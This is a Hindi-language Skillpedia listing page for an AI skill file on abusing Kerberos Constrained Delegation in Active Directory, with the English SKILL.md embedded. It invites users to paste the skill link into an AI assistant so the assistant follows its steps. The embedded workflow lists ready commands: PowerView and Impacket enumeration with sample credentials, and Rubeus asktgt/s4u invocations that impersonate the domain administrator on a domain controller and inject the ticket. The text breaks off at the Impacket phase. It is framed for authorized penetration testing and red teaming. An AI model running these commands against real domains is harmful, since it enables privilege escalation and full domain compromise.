मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी35k · #7904

exploiting-constrained-delegation-abuse

यह क्या करती है

यह टूल Active Directory की 'Constrained Delegation' नाम की एक गलत कॉन्फ़िगरेशन का फ़ायदा उठाता है। इससे हमलावर किसी privileged यूज़र, जैसे एडमिन, का रूप धारण करके सिस्टम तक पहुँच सकता है और पूरे domain पर पूरा नियंत्रण पा सकता है।

कब इस्तेमाल करें

  • ✓अधिकृत सुरक्षा टेस्ट में delegation की कमज़ोरियाँ जाँचते समय।
  • ✓red teaming (हमले की नकल) में अपनी सुरक्षा परखते समय।
  • ✓यह समझने के लिए कि कॉर्पोरेट नेटवर्क में हमलावर privileged access कैसे पा सकते हैं।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-constrained-delegation-abuse/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-constrained-delegation-abuse/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“मैं कैसे जाँचूँ कि मेरे नेटवर्क में constrained delegation गलत तरीके से कॉन्फ़िगर है या नहीं?”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

टूल ऐसे अकाउंट्स ढूँढता है जिनके पास विशेष delegation अनुमतियाँ हैं। अगर ऐसे अकाउंट मिलते हैं, तो वह ऐसी तकनीकों का इस्तेमाल करता है जिनसे ऊँचे अधिकार वाले यूज़र का रूप लेकर प्रतिबंधित सेवाओं तक पहुँचने के 'पास' (tickets) बनाए जा सकें।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Exploiting Constrained Delegation Abuse

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.

When to Use

  • When performing authorized security testing that involves exploiting constrained delegation abuse
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Enumerate accounts with Constrained Delegation configured in the domain
  • Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
  • Exploit S4U2self and S4U2proxy to impersonate Domain Admin
  • Obtain service tickets for delegated services as a privileged user
  • Access delegated services (CIFS, LDAP, HTTP) on target hosts
  • Escalate to Domain Admin through Constrained Delegation abuse

MITRE ATT&CK Mapping

  • T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
  • T1550.003 - Use Alternate Authentication Material: Pass the Ticket
  • T1134.001 - Access Token Manipulation: Token Impersonation/Theft
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1021 - Remote Services

Workflow

Phase 1: Enumerate Constrained Delegation

  1. Find accounts with Constrained Delegation using PowerView:
    # Find users with Constrained Delegation
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # Find computers with Constrained Delegation
    Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # Using AD Module
    Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
    
  2. Using Impacket findDelegation.py:
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
  3. Using BloodHound CE:
    MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
    RETURN c.name, c.allowedtodelegate
    
  4. Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):
    # UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
    

Phase 2: Exploit with Rubeus (Windows)

  1. If you have the password or hash of the constrained delegation account:
    # Request TGT for the constrained delegation account
    Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
    
    # Perform S4U2self + S4U2proxy to impersonate administrator
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /ptt
    
    # Alternative: specify alternate service name
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
    
  2. Combined TGT request and S4U in single command:
    Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
    

Phase 3: Exploit with Impacket (Linux)

  1. Request service ticket via S4U protocol extensions:

…

अक्सर पूछे जाने वाले सवाल

Constrained Delegation क्या है?

यह Windows Server की एक सुविधा है, जो किसी सेवा को यूज़र की ओर से दूसरी सेवाओं तक पहुँचने की अनुमति देती है। गलत कॉन्फ़िगर होने पर हमलावर इसका फ़ायदा उठा सकते हैं।

क्या इसके लिए एडमिन का पासवर्ड चाहिए?

ज़रूरी नहीं। यह exploit delegation की गलत सेटिंग पर निर्भर करता है, इसलिए बिना उनका पासवर्ड जाने भी एडमिन का रूप लेना संभव हो सकता है।

क्या यह कानूनी है?

यह टूल केवल अधिकृत टेस्ट वातावरण में और स्पष्ट अनुमति के साथ ही इस्तेमाल होना चाहिए। बिना अनुमति के सिस्टम पर इसका इस्तेमाल गैरकानूनी है।

जानकारी

लेखक का मूल विवरण

Exploits Kerberos Constrained Delegation misconfigurations in Active Directory using Impacket's findDelegation.py and getST.py (or Rubeus/Kekeo on Windows) to abuse S4U2Self and S4U2Proxy and impersonate privileged users. Use during authorized Active Directory penetration tests or red-team engagements for lateral movement and privilege escalation after finding an account trusted for constrained de

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#7904
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills